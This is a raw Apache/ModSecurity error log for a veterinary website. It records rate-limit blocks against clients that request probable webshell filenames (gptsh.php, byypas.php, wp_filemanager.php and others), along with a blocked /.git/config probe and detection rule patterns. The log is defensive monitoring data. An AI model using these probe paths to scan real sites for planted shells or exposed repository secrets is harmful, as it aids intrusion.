[Sat Apr 11 02:24:29.959339 2026] [:error] [pid 21570:tid 21668] [client 51.107.88.105:30761] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adlAXTKs5t9xRSNL6cnVWgAAAEM"]
[Sat Apr 11 02:24:30.503250 2026] [:error] [pid 21570:tid 21682] [client 51.107.88.105:37448] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adlAXjKs5t9xRSNL6cnVXAAAAEs"]
[Sat Apr 11 02:24:31.158711 2026] [:error] [pid 21706:tid 21723] [client 51.107.88.105:31798] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlAXyGQ1M5d8fQSsLHBFQAAAA8"]
[Sat Apr 11 02:24:31.908658 2026] [:error] [pid 21569:tid 21654] [client 51.107.88.105:52020] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlAX3AvQTgvXJ6vHoqnbgAAAIk"]
[Sat Apr 11 02:24:32.625869 2026] [:error] [pid 21706:tid 21708] [client 51.107.88.105:51986] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlAYCGQ1M5d8fQSsLHBHQAAAAA"]
[Sat Apr 11 02:24:33.338536 2026] [:error] [pid 21570:tid 21697] [client 51.107.88.105:51968] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlAYTKs5t9xRSNL6cnVZQAAAFc"]
[Sat Apr 11 02:24:34.262858 2026] [:error] [pid 55451:tid 55471] [client 51.107.88.105:45975] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adlAYnApxuyB7yCS5RkhPQAAANI"]
[Sat Apr 11 02:24:35.067293 2026] [:error] [pid 21568:tid 21576] [client 51.107.88.105:37489] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adlAY4iz5v_ljZxkpR_beQAAAQQ"]
[Sat Apr 11 02:24:35.762182 2026] [:error] [pid 55451:tid 55475] [client 51.107.88.105:37441] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adlAY3ApxuyB7yCS5RkhTAAAANY"]
[Sat Apr 11 02:24:55.186302 2026] [:error] [pid 55451:tid 55462] [client 51.107.88.105:40510] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adlAd3ApxuyB7yCS5RkhdgAAAMk"]
[Sat Apr 11 02:24:55.854179 2026] [:error] [pid 21570:tid 21670] [client 51.107.88.105:61683] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adlAdzKs5t9xRSNL6cnVrgAAAEQ"]
[Sat Apr 11 02:24:56.946949 2026] [:error] [pid 21706:tid 21719] [client 51.107.88.105:62103] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adlAeCGQ1M5d8fQSsLHB6gAAAAs"]
[Sat Apr 11 02:24:57.890498 2026] [:error] [pid 55451:tid 55459] [client 51.107.88.105:37478] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adlAeXApxuyB7yCS5RkhewAAAMY"]
[Sat Apr 11 02:24:58.710518 2026] [:error] [pid 55451:tid 55473] [client 51.107.88.105:28758] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adlAenApxuyB7yCS5RkhgAAAANQ"]
[Sat Apr 11 02:25:00.124336 2026] [:error] [pid 21706:tid 21714] [client 51.107.88.105:44046] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adlAfCGQ1M5d8fQSsLHB9gAAAAY"]
[Sat Apr 11 02:25:00.962189 2026] [:error] [pid 21568:tid 21588] [client 51.107.88.105:48537] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adlAfIiz5v_ljZxkpR_b0wAAARA"]
[Sat Apr 11 02:25:02.117584 2026] [:error] [pid 21570:tid 21697] [client 51.107.88.105:48575] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adlAfjKs5t9xRSNL6cnVuQAAAFc"]
[Sat Apr 11 02:25:02.819890 2026] [:error] [pid 21706:tid 21709] [client 51.107.88.105:56514] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adlAfiGQ1M5d8fQSsLHCBwAAAAE"]
[Sat Apr 11 02:25:03.759979 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:62121] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adlAfyGQ1M5d8fQSsLHCEAAAABg"]
[Sat Apr 11 02:25:04.804908 2026] [:error] [pid 21570:tid 21695] [client 51.107.88.105:51394] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adlAgDKs5t9xRSNL6cnVwQAAAFU"]
[Sat Apr 11 02:25:05.388041 2026] [:error] [pid 21568:tid 21577] [client 51.107.88.105:51431] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adlAgYiz5v_ljZxkpR_b5AAAAQU"]
[Sat Apr 11 02:25:06.454152 2026] [:error] [pid 21706:tid 21723] [client 51.107.88.105:32264] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adlAgiGQ1M5d8fQSsLHCGQAAAA8"]
[Sat Apr 11 02:25:07.282488 2026] [:error] [pid 55451:tid 55455] [client 51.107.88.105:32266] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adlAg3ApxuyB7yCS5RkhkwAAAMI"]
[Sat Apr 11 02:25:08.640203 2026] [:error] [pid 55451:tid 55464] [client 51.107.88.105:28794] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adlAhHApxuyB7yCS5RkhlQAAAMs"]
[Sat Apr 11 02:25:09.372080 2026] [:error] [pid 55451:tid 55466] [client 51.107.88.105:28765] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adlAhXApxuyB7yCS5RkhmQAAAM0"]
[Sat Apr 11 02:25:10.001375 2026] [:error] [pid 21568:tid 21586] [client 51.107.88.105:31766] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlAhoiz5v_ljZxkpR_b8wAAAQ4"]
[Sat Apr 11 02:25:11.329905 2026] [:error] [pid 21706:tid 21717] [client 51.107.88.105:56560] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlAhyGQ1M5d8fQSsLHCOwAAAAk"]
[Sat Apr 11 02:25:12.335580 2026] [:error] [pid 21568:tid 21581] [client 51.107.88.105:40556] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlAiIiz5v_ljZxkpR_b_AAAAQk"]
[Sat Apr 11 02:25:13.745583 2026] [:error] [pid 21570:tid 21675] [client 51.107.88.105:56547] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlAiTKs5t9xRSNL6cnV1QAAAEc"]
[Sat Apr 11 02:25:14.517343 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:31747] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adlAiiGQ1M5d8fQSsLHCRwAAABY"]
[Sat Apr 11 02:25:15.140086 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:45410] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adlAiyGQ1M5d8fQSsLHCUQAAAAQ"]
[Sat Apr 11 02:25:15.875752 2026] [:error] [pid 55451:tid 55470] [client 51.107.88.105:45377] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adlAi3ApxuyB7yCS5RkhpAAAANE"]
[Sat Apr 11 02:25:16.968050 2026] [:error] [pid 21569:tid 21650] [client 51.107.88.105:28783] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adlAjHAvQTgvXJ6vHoqn1QAAAIU"]
[Sat Apr 11 02:25:17.637106 2026] [:error] [pid 21706:tid 21716] [client 51.107.88.105:62143] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adlAjSGQ1M5d8fQSsLHCYAAAAAg"]
[Sat Apr 11 02:25:18.579225 2026] [:error] [pid 21570:tid 21695] [client 51.107.88.105:37472] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adlAjjKs5t9xRSNL6cnV4AAAAFU"]
[Sat Apr 11 02:25:30.842425 2026] [:error] [pid 21569:tid 21654] [client 51.107.88.105:40754] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adlAmnAvQTgvXJ6vHoqn-wAAAIk"]
[Sat Apr 11 02:26:27.952657 2026] [:error] [pid 21570:tid 21698] [client 51.107.88.105:61679] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adlA0zKs5t9xRSNL6cnWRwAAAFg"]
[Sat Apr 11 02:27:03.650127 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:48540] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adlA93ApxuyB7yCS5RkivAAAAMc"]
[Sat Apr 11 02:27:07.460014 2026] [:error] [pid 21569:tid 21654] [client 51.107.88.105:45957] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adlA-3AvQTgvXJ6vHoqomQAAAIk"]
[Sat Apr 11 02:27:08.175850 2026] [:error] [pid 21706:tid 21727] [client 51.107.88.105:45953] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adlA_CGQ1M5d8fQSsLHETwAAABM"]
[Sat Apr 11 02:27:09.386394 2026] [:error] [pid 21570:tid 21685] [client 51.107.88.105:61662] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adlA_TKs5t9xRSNL6cnWlgAAAEw"]
[Sat Apr 11 02:27:10.898506 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:37462] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adlA_iGQ1M5d8fQSsLHEUwAAABg"]
[Sat Apr 11 02:27:11.731504 2026] [:error] [pid 21569:tid 21645] [client 51.107.88.105:62115] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adlA_3AvQTgvXJ6vHoqoqQAAAIA"]
[Sat Apr 11 02:27:12.609697 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:40571] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adlBADKs5t9xRSNL6cnWnQAAAEE"]
[Sat Apr 11 02:27:13.630535 2026] [:error] [pid 55451:tid 55458] [client 51.107.88.105:45434] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adlBAXApxuyB7yCS5RkixwAAAMU"]
[Sat Apr 11 02:27:14.648117 2026] [:error] [pid 55451:tid 55465] [client 51.107.88.105:55907] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adlBAnApxuyB7yCS5RkizAAAAMw"]
[Sat Apr 11 02:27:15.786055 2026] [:error] [pid 21706:tid 21717] [client 51.107.88.105:45401] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "adlBAyGQ1M5d8fQSsLHEWgAAAAk"]
[Sat Apr 11 03:48:46.722534 2026] [:error] [pid 29605:tid 29680] [client 35.184.190.70:60724] [client 35.184.190.70] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "adlUHrU_C52VZ4EapdlvRwAAAAg"]
[Sat Apr 11 07:15:28.434782 2026] [:error] [pid 15244:tid 15254] [client 20.203.232.30:43255] [client 20.203.232.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEkIkdEsz5NeAq8w1ubgAAAQg"]
[Sat Apr 11 07:15:29.106222 2026] [:error] [pid 33171:tid 33204] [client 20.203.232.30:38862] [client 20.203.232.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEkboqTMlo30hcVw-BTAAAABI"]
[Sat Apr 11 07:15:29.792725 2026] [:error] [pid 15244:tid 15258] [client 20.203.232.30:43214] [client 20.203.232.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEkYkdEsz5NeAq8w1udgAAAQw"]
[Sat Apr 11 07:15:30.715927 2026] [:error] [pid 15244:tid 15246] [client 20.203.232.30:54785] [client 20.203.232.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEkokdEsz5NeAq8w1uggAAAQA"]
[Sat Apr 11 08:44:37.719289 2026] [proxy_fcgi:error] [pid 5795:tid 5891] [client 78.47.98.55:47270] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Sat Apr 11 08:44:37.719318 2026] [proxy_fcgi:error] [pid 5795:tid 5891] (104)Connection reset by peer: [client 78.47.98.55:47270] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Sat Apr 11 09:42:46.338128 2026] [:error] [pid 34823:tid 34873] [client 157.15.40.61:60092] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "admnFgsYI0mgChM8Fe26MwAAAVM"]
[Sat Apr 11 10:07:01.431656 2026] [:error] [pid 46012:tid 46075] [client 182.43.70.143:39017] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "admsxfh0LzRW7MDZ12eeRgAAAIU"]
[Sat Apr 11 10:22:37.215803 2026] [proxy_fcgi:error] [pid 51149:tid 51154] [client 18.192.166.72:22182] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Sat Apr 11 10:22:37.215884 2026] [proxy_fcgi:error] [pid 51149:tid 51154] (104)Connection reset by peer: [client 18.192.166.72:22182] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
